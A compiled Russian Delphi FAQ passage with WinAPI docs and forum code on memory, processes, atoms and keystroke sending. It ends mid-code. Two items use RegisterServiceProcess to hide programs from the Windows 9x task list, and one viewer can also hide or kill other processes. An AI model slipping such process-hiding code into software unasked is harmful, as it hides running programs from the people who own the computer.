© Mystic, 2002


AllocateUserPhysicalPages

Функция AllocateUserPhysicalPages выделяет страницы физической памяти, которые могут быть впоследствии спроецированы или переспроецированы в любой регион {расширения адресной оболочки Windows} (AWE-регион) указанного процесса.

function AllocateUserPhysicalPages(
  hProcess: THandle,           // дескриптор процесса
  var NumberOfPages: Cardinal, // число страниц
  var UserPfnArray: Pointer    // адрес хранилища
): Boolean; stdcall;

Параметры

hProcess [in]
Дескриптор процесса. Функция выделяет память в виртуальном адресном пространстве этого процесса. Пользователь, запускающий вызывающее приложение, должен иметь привелегию фиксирования страниц памяти (Lock Pages in Memory) для данного процесса. Если это не выполнено, вызов функции завершится неудачно.

NumberOfPages [in/out]
Указывает размер (в страницах) физической памяти, которая будет выделена. Используйте функцию GetSysInfo для того, чтобы определить размер страницы на вашем компьютере. В этом параметре также возвращается число страниц, которые были действительно выделены. Это число может быть меньше запрашиваемого.

UserPfnArray [out]
Задает виртуальный адрес, по которому будут сохранены номера фреймов страниц выделенной памяти. Размер памяти, выделенной по данному указателю, должен по меньшей мере вместить NumberOfPages элементов типа Cardinal.

Важно! Не пытайтесь модифицировать содержимое этого буфера. Он содержит данные, принадлежащие операционной системе, повреждение которых можт повлечь за собой катастрофические последствия. В этом буфере не содержиться никакой информации, необходимой вашему приложению.

Возвращаемое значение

В случае успешного завершения функция возвращает True. В результате были выделены несколько страниц физической памяти. Это число может быть меньше запрашиваемого, поэтому вы должны всегда проверять значение NumberOfPages для того, чтобы узнать, какое именно количество страниц было выделено. Фреймы всех выделенных страниц последовательно помещаются в память на которую указывает параметр UserPfnArray.

В случае ошибки функция вернет False. Для получения расширенной информации об ошибке следует сделать вызов GetLastError.

Описание

Функция AllocateUserPhysicalPages используется для выделения физической памяти. Память, выделяемая этой функцией, должна физически присутствовать в системе. Выделенная однажды, она фиксирует свое расположение в памяти и более не управляется менеджером памяти Windows 2000.

Физическая страница памяти не может быть спроецирована по более чем одному виртуальному адресу.

Физическая страница может находиться по любому физическому адресу. Вы не должны делать никаких предположений относительно смежности физических страниц.

Используйте функцию GetSystemInfo для того, чтобы определить размер страницы на вашем компьютере.

Требования

Windows NT/2000: Требуется Windows 2000 или более поздняя версия
Windows 95/98: Не поддерживается
Бибиотека: Kernel32.dll
Подключаемый модуль: Не описана

© Mystic, 2002


MapUserPhysicalPagesScatter

Функция MapUserPhysicalPagesScatter проецирует выделенную ранее область физической памяти в указанное адрtсное пространство AWE-региона виртуальной памяти. В отличие от функции MapUserPhysicalPages, данная функция производит "групповое" проецирование или разпроецирование для нескольких регионов.

{ Вариант 1 }
function MapUserPhysicalPagesScatter(
  var lpAddresses: Pointer; // начальный адрес области памяти
  NumberOfPages: UINT;      // размер физической памяти в страницах
  var UserPfnArray: UINT    // первый элемент массива фреймов страниц
): Boolean; overload;

{ Вариант 2 }
function MapUserPhysicalPagesScatter(
  var lpAddresses: Pointer; // начальный адрес области памяти
  NumberOfPages: UINT;      // размер физической памяти в страницах
  UserPfnArray: Pointer     // указатель на массив фреймов страниц
): Boolean; overload;

Параметры

lpAddresses [in]
Задает начальный элемент массива адресов, в которые будет спроецирована физическая память. Значение каждого адреса должно находиться внутри диапазона виртуального адресного пространства приложения, выделенного при помощи функции {VirtualAlloc} с атрибутом, указывающим принадлежность выделяемого фрагмента памяти к AWE-региону. Значение NumberOfPages показывает количество элементов массива. Заметим, что значения указателей могут принадлежать нескольким различным AWE-регионам.

NumberOfPages [in]
Задает размер в страницах физической памяти (и виртуального адресного пространства). Адреса страниц в виртуальном адресном пространстве сождержаться в массиве, начальный элемент которого lpAddresses. Кадры физической памяти задаются параметром UserPfnArray. Общее число страниц не может превышть то количество страниц, которое было выделено при вызове {AllocateUserPhysicalPages}.

UserPfnArray [in]
Задает начальный элемент массива фреймов страниц (вариант 1). Эти фрейймы должны быть спроецированы в область памяти, на которую указывает параметр lpAddress. Указанный массив должен содержать по меньшей мере NumberOfPages элементов типа UINT.

Важно! Не пытайтесь модифицировать содержимое этого буфера. Он содержит данные, принадлежащие операционной системе, повреждение которых можт повлечь за собой катастрофические последствия. В этом буфере не содержиться никакой информации, необходимой вашему приложению.

Указание значение nil этому параметру (вариант 2), позволяет провести распроецирование указанного диапазона адресов. При этом указанные страницы не освобождаются в физической памяти, для этого нужно выполнять специальный вызов FreeUserPhysicalPages.

Возвращаемое значение

В случае удачного завершения фкнция возвращает True.

В случае ошибки (когда не было выпоолнено ни частичного, ни полного проецирования) функция вернет False. Для получения расширенной информации об ошибке следует сделать вызов GetLastError.

Описание

Любое количество страниц в физической памяти никак не затрагивает память, выделенную при помощи функции VirtualAlloc. Новая проекция физической памяти на виртуальное адресное пространство процесса автоматически перезаписывает все старые проекции.

Вы не можете спроецровать на виртуальное адресное пространство процесса страницы, которые не были выделены при помощи метода AllocateUserPhysicalPages.

Если со страницы физической памяти было снято проецирование на виртуальное адресно пространство процесса, то это не приводит к освобождению страницы физической памяти. Чтобы освободить страницу в физической памяти, необходимо выполнить вызов FreeUserPhysicalPages.

Страницы физической памяти могут располагаться где угодно. Вы не можете делать каких либо предположений относительно расположения страниц в оперативной памяти. Если со страницы физической памяти было снято проецирование на виртуальное адресно пространство процесса, то это не приводит к освобождению страницы физической памяти. Чтобы освободить страницу в физической памяти, необходимо выполнить вызов FreeUserPhysicalPages.

В многопроцессорных системах данная функция сохраняет согласованность буферов на аппаратном уровне. По выходе из функции гарантируется, что все потоки и процессы будут видеть корректное проецирование страниц.

Требования

Windows NT/2000: Требуется Windows 2000 или более поздняя версия
Windows 95/98: Не поддерживается
Бибиотека: Kernel32.dll
Подключаемый модуль: Windows

© Mystic, 2002


FreeUserPhysicalPages

Функция FreeUserPhysicalPages освобождает физические страницы памяти, которые были ранее выделены при помощи вызова {AllocateUserPhysicalPages}. Если текущие страницы были спроецированы в AWE-регион, то при вызове автоматически произойдет очишение проецирования. Заметим, что указанный вызов никак не затронет виртуальное адресное пространство, занимающее AWE-регион.

function FreeUserPhysicalPages(
  hProcess: THandle,           // дескриптор процесса
  var NumberOfPages: Cardinal, // количество страниц для освобождения
  var UserPfnArray: DWORD      // виртуальный адрес фреймов освобождаемых страниц
): Boolean; stdcall;

Параметры

hProcess [in]
Дескриптор процесса. Функция освобождает память в виртуальном адресном пространстве этого процесса.

NumberOfPages [in/out]
Указывает размер физической памяти в страницах, которая будет освобождена. При возвращении с случае ошибки возвращает количество страниц в памяти, которые действительно были освобождены.

UserPfnArray [in]
Задает виртуальное адресное пространство, которое содержит фреймы страниц, которые должны быть освобождены.

Возвращаемое значение

При удачном завершении функция возвращает True.

В случае возникновения ошибки функция вернет False. В этом случае параметр NumberOfPages показывает, сколько страниц было освобождено в действительности. Для получения расширенной информации об ошибке выполните вызов GetLastError.

Описание

В случае нескольких процессоров эта функция поддерживает согласованное выполнение на уровне аппаратного переводного буфера. При выходе из этой функции, для всех потоков и процессов гарантируется корректное проецирование.

Требования

Windows NT/2000: Требуется Windows NT 2000 или более поздняя версия
Windows 95/98: Не поддерживается
Бибиотека: Kernel32.dll
Подключаемый модуль: Не описана

© Mystic, 2002


Функции для работы с памятью

Addr Возвращает указатель на объект.

AllocMem Выделяет на куче блок памяти заданного размера, заполняет его нулями и возвращает указатель на начало блока.

CompareMem Выполняет бинарное сравнение двух участков памяти.

GetHeapStatus Возвращает текущее состояние диспетчера памяти.

GetMemoryManager Возвращает значения указателей полей текущего диспетчера памяти.

IsMemoryManagerSet Определяет, используется в настоящий момент диспетчер памяти, установленный по умолчанию, или был установлен другой диспетчер.

Ptr Возвращает указатель на адрес памяти, переданный в качестве аргумента.

SizeOf Возвращает размер памяти, занимаемый переменной.

SetMemoryManager Устанавливает значения полей диспетчера памяти.

SysFreeMem Высвобождает память, используемую динамической переменной.

SysGetMem Выделяет блок памяти заданного размера и возвращает указатель на него.

SysReallocMem Изменяет размер динамически распределенного блока памяти.
Взято с http://atrussk.ru/delphi/


Пример работы с MailSlot

procedure TForm1.Button1Click(Sender: TObject);
var
 hSlot1      : THandle;
 lpszSlotName: LPSTR;
begin
 lpszSlotName := '\\\\.\\mailslot\\sample_mailslot';
 hslot1 := CreateMailslot (lpszSlotName,
                           0,
                           MAILSLOT_WAIT_FOREVER,
                           nil);
 //тут поидее должна быть обработка ошибки, если не удалось создать
 //Далее работаем
с ним, как с файлом т.е. WriteFile и т.д.
 CloseHandle(hSlot1); //а кады закрываем за собой дескриптор,
то память чистится т.е. все, что мы туда поназаписали удаляется
end;

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru

WinAPI->Windows->Процессы...->Пример работы с MailSlot
Тут Baa немного ошибся. Он написал открытие мэйлслота в C++ стиле:
lpszSlotName := '\\\\.\\mailslot\\sample_mailslot';
а надо так:
lpszSlotName := '\\.\mailslot\sample_mailslot';
т.е. вместо \\ надо просто \

Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Как определить откуда был запущен процесс?

Есть handle запущенного PE файла. Как определить откуда он был запущен?

Я так предполагаю что getmodulefilename как и GetModuleHandle
работает в рамках только своего процесса.

А решить твою задачу .. можно так:
Тут парочка моих любимых функций

uses
tlhelp32;

type
TModuleArray = array of TModuleEntry32;

// Возвращает список описаний (TModuleEntry32) модулей по идентификатору процесса
function GetModulesListByProcessId(ProcessId : Cardinal) : TModuleArray;

implementation

function GetModulesListByProcessId(ProcessId : Cardinal) : TModuleArray;
var
hSnapshot : THandle;
lpme : TModuleEntry32;

procedure AddModuleToList;
begin
SetLength(Result,High(Result)+2);
Result[high(Result)]:=lpme;
end;

begin
SetLength(Result,0);
hSnapshot:=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessId);
if hSnapshot=-1 then RaiseLastWin32Error;
lpme.dwSize:=SizeOf(lpme);
if Module32First(hSnapshot,lpme) then
begin
AddModuleToList;
while Module32Next(hSnapshot,lpme) do AddModuleToList;
end;
end;

Исходный код

VAR Wnd : hWnd;
buff: ARRAY [0..127] OF Char;
//------------------------------------
Pid : Cardinal;
modarr : TModuleArray;
Name : String;
//------------------------------------
begin
StringGrid1.RowCount:=1;
Wnd := GetWindow(Handle, gw_HWndFirst);
WHILE Wnd <> 0 DO
BEGIN
IF (GetWindowText(Wnd, buff, sizeof(buff)) <> 0) THEN
BEGIN
fillchar(name,sizeof(name),#0);
GetWindowText(wnd,buff,sizeof(buff));
// if getmodulefilename(GetWindowLong(wnd,GWL_HINSTANCE),name,sizeof(name))=0
// then name:='Null';
//-----------------------------------------
GetWindowThreadProcessId(Wnd,@Pid);
modarr:=GetModulesListByProcessId(Pid);
name:='Null';
for i:=0 to High(modarr) do
begin
if Integer(modarr[i].modBaseAddr)=$400000 then
begin
name:=modarr[i].szExePath;
break;
end;
end;
//-----------------------------------------
StringGrid1.Cells[0,StringGrid1.RowCount-1]:=StrPas(buff);
StringGrid1.Cells[1,StringGrid1.RowCount-1]:=StrPas(name);
StringGrid1.RowCount:=StringGrid1.RowCount+1;
END;
Wnd := GetWindow(Wnd, gw_hWndNext);
END;
StringGrid1.RowCount:=StringGrid1.RowCount-1;
end;

Автор ответа: TAPAKAH
Взято с Vingrad.ru http://forum.vingrad.ru


Как запустить и подождать завершения 2х процессов?

procedure HzChe;
var
hProcess : array [0..1] of Cardinal;
struc1 : PSTARTUPINFO;
struc2 : PROCESS_INFORMATION;
begin
  if not CreateProcess ( PChar('c:\PSTOLD.EXE') ,
nil,
nil,
nil,
False,
NORMAL_PRIORITY_CLASS,
nil,
nil,
struc1^,
struc2 ) then ShowMessage ( 'Zhopa kakaya-to');
  hProcess[0] := struc2.hProcess;
if not CreateProcess ( PChar('c:\PSTOLD1.EXE') ,
nil,
nil,
nil,
False,
NORMAL_PRIORITY_CLASS,
nil,
nil,
struc1^,
struc2 ) then ShowMessage ( 'Zhopa kakaya-to');
hProcess[1] := struc2.hProcess;
  if WaitForMultipleObjects ( 2, @hProcess, True, INFINITE ) = 1 then
    ShowMessage ('    vce, priehali' );
end;

P.S.
То, что я понаписал нельзя считать цивильным кодом...просто демонстрация работы функции WaitForMultipleObjects ( код позорный...просто жуть...)

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru


Помогите спрятать программу из списка задач?

Или Как заказать сервисный процесс ?

unit Stealth;

interface
uses
WinTypes, WinProcs, Classes, Forms, SysUtils, Controls, Messages;

type
TStealth = class(TComponent)
private
fHideApp: Boolean;
procedure SetHideApp(Value: Boolean);
protected
{ Protected declarations }
procedure HideApplication;
procedure ShowApplication;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
// procedure Loaded; override;
published
{ Published declarations }
property HideApp: Boolean read fHideApp write SetHideApp default false;
end;

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';

procedure Register;

implementation

destructor TStealth.Destroy;
begin
ShowApplication;
inherited destroy;
end;

constructor TStealth.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
// fHideform := true;
end;

procedure TStealth.SetHideApp(Value: Boolean);
begin
fHideApp := Value;
if Value then HideApplication else ShowApplication;
end;

procedure TStealth.HideApplication;
begin
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 1);
end;

procedure TStealth.ShowApplication;
begin
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 0);
end;

procedure Register;
begin
RegisterComponents('My', [TStealth]);
end;

end.

Автор ответа: Admin
Взято с Vingrad.ru http://forum.vingrad.ru


Сохранить строку в памяти?+пример работы с атомами

Например через атомы:

К счастью количество атомов ограничено 0xFFFF, так что простые функции перебора работают достаточно быстро. Вот пример как сохранять и читать значение через атомы:

const UniqueSignature='GI7324hjbHGHJKdhgn90jshUH*hjsjshjdj';

Procedure CleanAtoms;
var P:PChar;
  i:Word;
begin
GetMem(p, 256);
For i:=0 to $FFFF do
begin
  GlobalGetAtomName(i, p, 255);
  if StrPos(p, PChar(UniqueSignature))<>nil then GlobalDeleteAtom(i);
end;
FreeMem(p);
end;

Procedure WriteAtom(Str:string);
begin
CleanAtoms;
GlobalAddAtom(PChar(UniqueSignature+Str));
end;

Function ReadAtom:string;
var P:PChar;
  i:Word;
begin
GetMem(p, 256);
For i:=0 to $FFFF do
begin
GlobalGetAtomName(i, p, 255);
if StrPos(p, PChar(UniqueSignature))<>nil then break;
end;
result:=StrPas(p+length(UniqueSignature));
FreeMem(p);
end;

procedure TReadFromAtom.Button1Click(Sender: TObject);
begin
WriteAtom(Edit1.text);
end;

procedure TReadFromAtom.Button2Click(Sender: TObject);
begin
Showmessage(ReadAtom);
end;

Примечание: константа "UniqueSignature" должна быть достаточно длинной, чтобы однозначно идентифицировать атом, в тоже время длина хранимой строки вместе с UniqueSignature не должна превышать 255 символов. Данная конструкция может хранить только 1 значение. Для хранения нескольких значений надо назначить несколько разных UniqueSignature и использовать сходные процедуры.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как запустить программу и подождать ее завершения?

var
pi : TProcessInformation;
si : TStartupInfo;
begin
ZeroMemory(@si,sizeof(si));
si.cb:=SizeOf(si);
if not CreateProcess(
PChar(lpApplicationName), //pointer to name of executable module
PChar(lpCommandLine), // Command line.
nil, // Process handle not inheritable.
nil, // Thread handle not inheritable.
False, // Set handle inheritance to FALSE.
0, // No creation flags.
nil, // Use parent's environment block.
nil, // Use parent's starting directory.
si, // Pointer to STARTUPINFO structure.
pi ) // Pointer to PROCESS_INFORMATION structure.
then begin
Result:=false;
RaiseLastWin32Error;
Exit;
end;
WaitForSingleObject(pi.hProcess,INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
// ... здесь твой код
end;

Автор ответа: TAPAKAH

Примечание Vit:

Если заменить

WaitForSingleObject(pi.hProcess,INFINITE);

на

while WaitforSingleObject(PI.hProcess,200)=WAIT_TIMEOUT do   application.ProcessMessages;

то вызывающая программа не будет казаться завешанной и будет отвечать на сообщения

Примечание Mikel: В RxLib есть функция для этого: FileExecuteWait

Взято с Vingrad.ru http://forum.vingrad.ru

Здесь представлена функция, которая вызывается таким же образом как и WinExec, однако она ждёт, пока запущенная задача завершится.

function WinExecAndWait(Path: PChar; Visibility: Word): Word;
var
  InstanceID: THandle;
  Msg: TMsg;
begin
  InstanceID := WinExec(Path, Visibility);
  if InstanceID < 32 then { значение меньше чем 32 указывает на ошибку }
    WinExecAndWait := InstanceID
  else
    repeat
       while PeekMessage(Msg, 0, 0, 0, pm_Remove) do
       begin
         if Msg.Message = wm_Quit then Halt(Msg.WParam);
         TranslateMessage(Msg);
         DispatchMessage(Msg);
       end;
    until GetModuleUsage(InstanceID) = 0;
  WinExecAndWait := 0;
end;

Взято из http://forum.sources.ru

Автор: Fabrнcio Fadel Kammer

Пример показывает как из Вашей программы запустить внешнее приложение и подождать его завершения.

function ExecAndWait(const FileName, Params: ShortString; const WinState: Word): boolean; export;
var
  StartInfo: TStartupInfo;
  ProcInfo: TProcessInformation;
  CmdLine: ShortString;
begin
  { Помещаем имя файла между кавычками, с соблюдением всех пробелов в именах Win9x }
  CmdLine := '"' + Filename + '" ' + Params;
  FillChar(StartInfo, SizeOf(StartInfo), #0);
  with StartInfo do
  begin
    cb := SizeOf(SUInfo);
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow := WinState;
  end;
  Result := CreateProcess(nil, PChar( String( CmdLine ) ), nil, nil, false,
                          CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil,
                          PChar(ExtractFilePath(Filename)),StartInfo,ProcInfo);
  { Ожидаем завершения приложения }
  if Result then
  begin
    WaitForSingleObject(ProcInfo.hProcess, INFINITE);
    { Free the Handles }
    CloseHandle(ProcInfo.hProcess);
    CloseHandle(ProcInfo.hThread);
  end;
end;

А вот пример вызова этой функции:

ExecAndWait( 'C:\windows\calc.exe', '', SH_SHOWNORMAL)

Параметр FileName = Имя внешней программы.
Параметр Params = Параметры, необходимые для запуска внешней программы
Параметр WinState = Указывает - как будет показано окно:
Для этого параметра мы можем так же использовать следующие константы:
SW_HIDE, SW_MAXIMIZE, SW_MINIMIZE, SW_SHOWNORMAL

Взято из http://forum.sources.ru


Как получить весь размер системной памяти?

function GetMemoryTotalPhys : DWord;
var
memStatus: TMemoryStatus;
begin
memStatus.dwLength := sizeOf ( memStatus );
GlobalMemoryStatus ( memStatus );
Result := memStatus.dwTotalPhys;
end;

Взято из http://forum.sources.ru


Как узнать состояние памяти?

var
  Status : TMemoryStatus;
begin
  Status.dwLength := sizeof( TMemoryStatus );
  GlobalMemoryStatus( Status );
...

После этого TMemoryStatus будет содержать следующие паоля:

Status.dwMemoryLoad: Количество используемой памяти в процентах (%).
Status.dwTotalPhys: Общее количество физической памяти в байтах.
Status.dwAvailPhys: Количество оставшейся физической памяти в байтах.
Status.dwTotalPageFile: Объём страничного файла в байтах.
Status.dwAvailPageFile: Свободного места в страничном файле.
Status.dwTotalVirtual: Общий объём виртуальной памяти в байтах.
Status.dwAvailVirtual: Количество свободной виртуальной памяти в байтах.

Предваритель, желательно преобразовать эти значения в гига-, мега- или килобайты, например так:

label14.Caption := 'Total Ram: ' + IntToStr(Status.dwTotalPhys div 1024417) + 'meg';

Взято из http://forum.sources.ru


Как определить, запущено ли приложение в Windows NT?

Следующий кодкомпилируется как на 16-ти, так и на 32-битных платформах.

{$IFNDEF WIN32}
  const WF_WINNT = $4000;
{$ENDIF}

function IsNT : bool;
{$IFDEF WIN32}
var
   osv : TOSVERSIONINFO;
{$ENDIF}
begin
  result := true;
{$IFDEF WIN32}
  GetVersionEx(osv);
  if osv.dwPlatformId = VER_PLATFORM_WIN32_NT then exit;
{$ELSE}
   if ((GetWinFlags and WF_WINNT) = WF_WINNT ) then exit;
{$ENDIF}
  result := false;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if IsNt then
    ShowMessage('Running on NT')
  else
    ShowMessage('Not Running on NT');
end;

Взято из http://forum.sources.ru

function IsNT: bool;
var osv: TOSVERSIONINFO;
begin result := true;
  GetVersionEx(osv);
  if osv.dwPlatformId = VER_PLATFORM_WIN32_NT then exit;
  result := false;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if IsNt then
    ShowMessage('Running on NT')
  else
    ShowMessage('Not Running on NT');

Взято с сайта http://blackman.wp-club.net/


Просмотрщик запущенных процессов

Автор: Василий

Программа не видна по Ctrl+Alt+Del, и сама оттуда же может спрятать любой из процессов(правда, не все с самого начала "светятся" по Ctrl+Alt+Del) или завершить его. Простой пример для знакомства с ToolHelp32.
В исходном коде есть недоработки, например, процедура Delproc получает в качестве параметра строку, затем переводит ее в целочисленный тип(integer), хотя можно передавать сразу число. Заморочка была в проверке числа-индекса на подлинность, а так как я выдрал часть кода из более ранней своей проги, я не стал это менять, а просто подогнал до рабочей версии. Оптимизацией кода вы можете заняться сами по желанию(вы можете, если хотите, а если не хотите, то вы не обязаны, вы посто могли бы... да... :))) Программа не работала в WinNT 4.0, но в Win9x работать должна.

unit main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, tlhelp32, StdCtrls, ComCtrls, Buttons;

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    Button1: TButton;
    Button2: TButton;
    Button4: TButton;
    Button5: TButton;
    StatusBar1: TStatusBar;
    Button6: TButton;
    procedure Button4Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure ListBox1Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
  private
    { Private declarations }
    procedure ListProcesses;
    procedure Delproc(numb:string);
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  processID:array[1..50] of integer;

function RegisterServiceProcess(dwProcessID,dwType:integer):integer;stdcall;external 'kernel32.dll';

implementation

{$R *.DFM}

procedure TForm1.delproc(numb:string);
var
    c1:Cardinal;
pe:TProcessEntry32;
s1,s2:string;
x:integer;
 begin
 x:=0;
  try
 Strtoint(numb);
 except
 Statusbar1.SimpleText:='Invalid number';
 exit;
 end;
       c1:=CreateToolHelp32Snapshot(TH32CS_SnapProcess,0);
 if c1=INVALID_HANDLE_VALUE then
 begin
               Statusbar1.SimpleText:='Process listing failed';
                exit;
                end;
try
pe.dwSize:=sizeof(pe);
if Process32First(c1,pe) then
repeat
inc(x);
s1:=ExtractFileName(pe.szExeFile);
s2:=ExtractFileExt(s1);
Delete(s1,length(s1)+1-length(s2),maxInt);
if x=strtoint(numb) then
if terminateprocess(OpenProcess(PROCESS_ALL_ACCESS,false,pe.th32ProcessID),1)
then begin
Statusbar1.SimpleText:='Process '+s1+' terminated.';
end
else Statusbar1.SimpleText:=('Couldnt terminate process'+pe.szExeFile);
until not Process32Next(c1,pe);
finally CloseHandle(c1);
end;
end;

procedure Tform1.ListProcesses;
var c1:Cardinal;
pe:TProcessEntry32;
s1,s2:string;
x:integer;
 begin
 X:=0;
 c1:=CreateToolHelp32Snapshot(TH32CS_SnapProcess,0);
 if c1=INVALID_HANDLE_VALUE then
                begin
                Statusbar1.SimpleText:=('Информация о процессах закрыта.');
                exit;
                end;
try
pe.dwSize:=sizeof(pe);
if Process32First(c1,pe) then
repeat
inc(x);
s1:=ExtractFileName(pe.szExeFile);
s2:=ExtractFileExt(s1);
Delete(s1,length(s1)+1-length(s2),maxInt);
Listbox1.Items.Add(Inttostr(x)+'  '+s1+'  :  '+pe.szExeFile);
ProcessId[x]:=pe.th32ProcessID;
//ListBox1.Items.Add(inttostr(pe.th32ProcessID));
until not Process32Next(c1,pe);
finally CloseHandle(c1);
end;

end;

procedure TForm1.Button4Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Button1.Enabled:=false;
Button5.Enabled:=false;
Button6.Enabled:=false;
ListProcesses;
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID,1);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Listbox1.Clear;
ListProcesses;
end;

procedure TForm1.Button1Click(Sender: TObject);
var p:integer;
begin
//hide
with Listbox1 do
p:=Listbox1.Items.IndexOf(Listbox1.items[itemindex])+1;
if not (csDesigning in ComponentState) then
RegisterServiceProcess(ProcessID[p],1);
with Listbox1 do
StatusBar1.SimpleText:=(Listbox1.items[itemindex]+ ' hidden');
end;

procedure TForm1.Button5Click(Sender: TObject);
var p:integer;
begin
//show
with Listbox1 do
p:=Listbox1.Items.IndexOf(Listbox1.items[itemindex])+1;
if not (csDesigning in ComponentState) then
RegisterServiceProcess(ProcessID[p],0);
with Listbox1 do
StatusBar1.SimpleText:=(Listbox1.items[itemindex]+ ' shown');
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
Button1.Enabled:=true;
Button5.Enabled:=true;
Button6.Enabled:=true;
end;

procedure TForm1.Button6Click(Sender: TObject);
var p:integer;
begin
with Listbox1 do
p:=Listbox1.Items.IndexOf(Listbox1.items[itemindex])+1;
delproc(inttostr(p));
end;

end.

Взято из http://forum.sources.ru


Посылаем нажатия клавиш другому приложению

Автор: Gert v.d. Venis

Компонент Sendkeys:

unit SendKeys;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  TSendKeys = class(TComponent)
  private
    fhandle:HWND;
    L:Longint;
    fchild: boolean;
    fChildText: string;
    procedure SetIsChildWindow(const Value: boolean);
    procedure SetChildText(const Value: string);
    procedure SetWindowHandle(const Value: HWND);
  protected

  public

  published
    Procedure GetWindowHandle(Text:String);
    Procedure SendKeys(buffer:string);
    Property WindowHandle:HWND read fhandle write SetWindowHandle;
    Property IsChildWindow:boolean read fchild write SetIsChildWindow;
    Property ChildWindowText:string read fChildText write SetChildText;
  end;

procedure Register;

implementation

var temps:string;{й utilizado para ser acessivel pelas funcs q sao
                  utilizadas como callbacks}
    HTemp:Hwnd;
    ChildText:string;
    ChildWindow:boolean;

procedure Register;
begin
  RegisterComponents('Standard', [TSendKeys]);
end;

{ TSendKeys }

function PRVGetChildHandle(H:HWND; L: Integer): LongBool;
var p:pchar;
    I:integer;
    s:string;
begin
  I:=length(ChildText)+2;
  GetMem(p,i+1);
  SendMessage(H,WM_GetText,i,integer(p));
  s:=strpcopy(p,s);
  if pos(ChildText,s)<>0 then
   begin
     HTemp:=H;
     Result:=False
   end else
    Result:=True;
  FreeMem(p);
end;

function PRVSendKeys(H: HWND; L: Integer): LongBool;stdcall;
var s:string;
    i:integer;
begin
  i:=length(temps);
  if i<>0 then
  begin
    SetLength(s,i+2);
    GetWindowText(H, pchar(s),i+2);
    if Pos(temps,string(s))<>0 then
    begin
      Result:=false;
      if ChildWindow then
        EnumChildWindows(H,@PRVGetChildHandle,L)
      else
        HTemp:=H;
    end
    else
      Result:=True;
  end else
    Result:=False;
end;

procedure TSendKeys.GetWindowHandle(Text: String);
begin
  temps:=Text;
  ChildText:=fChildText;
  ChildWindow:=fChild;
  EnumWindows(@PRVSendKeys,L);
  fHandle:=HTemp;
end;

procedure TSendKeys.SendKeys(buffer: string);
var i:integer;
    w:word;
    D:DWORD;
    P:^DWORD;
begin
  P:=@D;
  SystemParametersInfo(                      //get flashing timeout on win98
         SPI_GETFOREGROUNDLOCKTIMEOUT,
         0,
         P,
         0);
  SetForeGroundWindow(fHandle);
  for i:=1 to length(buffer) do
  begin
    w:=VkKeyScan(buffer[i]);
    keybd_event(w,0,0,0);
    keybd_event(w,0,KEYEVENTF_KEYUP,0);
  end;
  SystemParametersInfo(                     //set flashing TimeOut=0
         SPI_SETFOREGROUNDLOCKTIMEOUT,
         0,
         nil,
         0);
  SetForegroundWindow(TWinControl(TComponent(Self).Owner).Handle);
                                            //->typecast working...
  SystemParametersInfo(                     //set flashing TimeOut=previous value
         SPI_SETFOREGROUNDLOCKTIMEOUT,
         D,
         nil,
         0);
end;

procedure TSendKeys.SetChildText(const Value: string);
begin
  fChildText := Value;
end;

procedure TSendKeys.SetIsChildWindow(const Value: boolean);
begin
  fchild := Value;
end;

procedure TSendKeys.SetWindowHandle(const Value:HWND);
begin
  fHandle:=WindowHandle;
end;

end.

Описание:
Данный компонент получает хэндл(handle) любого запущенного окна и даёт возможность отправить по указанному хэндлу любые комбинации нажатия клавиш.

Совместимость: Все версии Delphi
Собственно сам исходничек:
После того, как проинсталируете этот компонент, создайте новое приложение и поместите на форму кнопку и сам компонент SendKeys. Добавьте следующий код в обработчик события OnClick кнопки:

procedure TForm1.Button1Click(Sender: TObject);
begin
// Запускаем Notepad, и ему мы будем посылать нажатия клавиш
WinExec('NotePad.exe', SW_SHOW);
// В параметре процедуры GetWindowHandle помещаем
// текст заголовка окна Notepad'а.
SendKeys1.GetWindowHandle('Untitled - Notepad');
// Если хэндл окна получен успешно, то отправляем ему текст
if SendKeys1.WindowHandle <> 0 then
SendKeys1.SendKeys('This is a test');
// Так же можно отправить код любой кнопки типа
// RETURN, используя следующий код:
// SendKeys1.SendKeys(Chr(13));
end;

---------------------------------

Неправда ли весело :)

Взято из http://forum.sources.ru


Как сделать, чтобы запускалась только одна копия приложения?

var AtomText: array[0..31] of Char;

procedure LookForPreviousInstance;
var
  PreviousInstanceWindow : hWnd;
  AppName : array[0..30] of char;
  FoundAtom : TAtom;
begin
  // помещаем имя приложения в AtomText
  StrFmt(AtomText, 'OnlyOne%s', [Copy(Application.Title,1,20)]);
  // Проверяем, не создано ли уже атома с таким именем приложения
  FoundAtom := GlobalFindAtom(AtomText);
  if FoundAtom <> 0 then      // эта копия приложения уже запущена
  begin
    StrFmt(AppName,'%s', [Application.Title]);
    // изменяем текущий заголовок, чтобы FindWindow не видела его
    Application.ShowMainForm := false;
